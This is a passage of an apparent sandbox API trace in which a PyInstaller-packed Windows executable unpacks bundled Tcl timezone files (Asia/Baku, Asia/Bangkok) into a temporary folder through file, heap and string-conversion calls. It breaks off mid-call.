[0039.978] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562c48 [0039.978] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562c48 | out: hHeap=0x530000) returned 1 [0039.978] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.978] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.978] CloseHandle (hObject=0x10c) returned 1 [0039.978] GetLastError () returned 0x0 [0039.978] SetLastError (dwErrCode=0x0) [0039.978] GetLastError () returned 0x0 [0039.978] SetLastError (dwErrCode=0x0) [0039.978] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.978] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.978] GetFileType (hFile=0x10c) returned 0x1 [0039.978] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.978] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.978] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.978] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.979] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.979] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.979] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.979] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.979] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.979] CloseHandle (hObject=0x10c) returned 1 [0039.979] GetLastError () returned 0x0 [0039.979] SetLastError (dwErrCode=0x0) [0039.979] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.979] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.979] GetFileType (hFile=0x10c) returned 0x1 [0039.979] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.979] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.979] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.979] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.979] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.979] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.979] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.979] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.979] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.979] CloseHandle (hObject=0x10c) returned 1 [0039.979] GetLastError () returned 0x0 [0039.979] SetLastError (dwErrCode=0x0) [0039.979] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0039.979] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.980] GetFileType (hFile=0x10c) returned 0x1 [0039.980] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.980] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.980] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.980] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.980] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.980] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.980] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.980] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.980] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.980] CloseHandle (hObject=0x10c) returned 1 [0039.980] GetLastError () returned 0x0 [0039.980] SetLastError (dwErrCode=0x0) [0039.980] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Baku") returned 66 [0039.980] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Baku" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\baku"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.980] GetLastError () returned 0x2 [0039.980] SetLastError (dwErrCode=0x2) [0039.980] GetLastError () returned 0x2 [0039.980] SetLastError (dwErrCode=0x2) [0039.980] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Baku", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Baku", lpFilePart=0x0) returned 0x41 [0039.980] GetLastError () returned 0x2 [0039.980] SetLastError (dwErrCode=0x2) [0039.980] GetLastError () returned 0x2 [0039.980] SetLastError (dwErrCode=0x2) [0039.980] GetLastError () returned 0x2 [0039.980] SetLastError (dwErrCode=0x2) [0039.980] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Baku") returned 66 [0039.980] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.981] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Baku" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\baku"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.982] GetFileType (hFile=0x10c) returned 0x1 [0039.982] htonl (hostlong=0xaf1b0000) returned 0x1baf [0039.982] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0039.983] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.983] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xbaf, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xbaf, lpOverlapped=0x0) returned 1 [0039.983] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.983] CloseHandle (hObject=0x10c) returned 1 [0039.984] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.984] htonl (hostlong=0x30000000) returned 0x30 [0039.984] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.984] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.984] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.984] GetFileType (hFile=0x10c) returned 0x1 [0039.984] htonl (hostlong=0xa2ba5a00) returned 0x5abaa2 [0039.984] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f6aa2, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.984] htonl (hostlong=0x93000000) returned 0x93 [0039.984] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x93) returned 0x55cfe0 [0039.984] htonl (hostlong=0x93000000) returned 0x93 [0039.984] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.984] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.984] htonl (hostlong=0xae000000) returned 0xae [0039.984] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xae) returned 0x550600 [0039.984] htonl (hostlong=0x93000000) returned 0x93 [0039.984] htonl (hostlong=0xae000000) returned 0xae [0039.984] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.984] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.984] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0039.984] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.984] CloseHandle (hObject=0x10c) returned 1 [0039.984] GetLastError () returned 0x0 [0039.984] SetLastError (dwErrCode=0x0) [0039.984] GetLastError () returned 0x0 [0039.984] SetLastError (dwErrCode=0x0) [0039.985] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.985] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.985] GetFileType (hFile=0x10c) returned 0x1 [0039.985] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.985] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.985] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.985] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.985] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.985] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.985] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.985] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.985] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.985] CloseHandle (hObject=0x10c) returned 1 [0039.985] GetLastError () returned 0x0 [0039.985] SetLastError (dwErrCode=0x0) [0039.985] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.985] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.985] GetFileType (hFile=0x10c) returned 0x1 [0039.985] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.985] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.985] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.985] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.985] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.985] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.985] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.986] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.986] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.986] CloseHandle (hObject=0x10c) returned 1 [0039.986] GetLastError () returned 0x0 [0039.986] SetLastError (dwErrCode=0x0) [0039.986] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0039.986] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.986] GetFileType (hFile=0x10c) returned 0x1 [0039.986] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.986] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.986] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.986] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.986] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.986] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.986] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.986] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.986] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.986] CloseHandle (hObject=0x10c) returned 1 [0039.986] GetLastError () returned 0x0 [0039.986] SetLastError (dwErrCode=0x0) [0039.986] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Bangkok") returned 69 [0039.986] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Bangkok" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\bangkok"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.986] GetLastError () returned 0x2 [0039.986] SetLastError (dwErrCode=0x2) [0039.987] GetLastError () returned 0x2 [0039.987] SetLastError (dwErrCode=0x2) [0039.987] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Bangkok", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Bangkok", lpFilePart=0x0) returned 0x44 [0039.987] GetLastError () returned 0x2 [0039.987] SetLastError (dwErrCode=0x2) [0039.987] GetLastError () returned 0x2 [0039.987] SetLastError (dwErrCode=0x2) [0039.987] GetLastError () returned 0x2 [0039.987] SetLastError (dwErrCode=0x2) [0039.987] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Bangkok") returned 69 [0039.987] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.987] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Bangkok" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\bangkok"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.987] GetFileType (hFile=0x10c) returned 0x1 [0039.987] htonl (hostlong=0xae000000) returned 0xae [0039.987] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.987] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xae, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xae, lpOverlapped=0x0) returned 1 [0040.006] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.007] CloseHandle (hObject=0x10c) returned 1 [0040.007] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.007] htonl (hostlong=0x30000000) returned 0x30 [0040.007] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.007] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.007] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.007] GetFileType (hFile=0x10c) returned 0x1 [0040.007] htonl (hostlong=0x35bb5a00) returned 0x5abb35 [0040.007] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f6b35, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.007] htonl (hostlong=0x1f060000) returned 0x61f [0040.007] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x61f) returned 0x550600 [0040.007] htonl (hostlong=0x1f060000) returned 0x61f [0040.007] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.007] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.007] htonl (hostlong=0x4a1e0000) returned 0x1e4a [0040.007] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1e4a) returned 0x561090 [0040.007] htonl (hostlong=0x1f060000) returned 0x61f [0040.007] htonl (hostlong=0x4a1e0000) returned 0x1e4a [0040.007] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562ee8 [0040.007] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562ee8 | out: hHeap=0x530000) returned 1 [0040.007] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.007] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.007] CloseHandle (hObject=0x10c) returned 1 [0040.007] GetLastError () returned 0x0 [0040.008] SetLastError (dwErrCode=0x0) [0040.008] GetLastError () returned 0x0 [0040.008] SetLastError (dwErrCode=0x0) [0040.008] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.008] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, 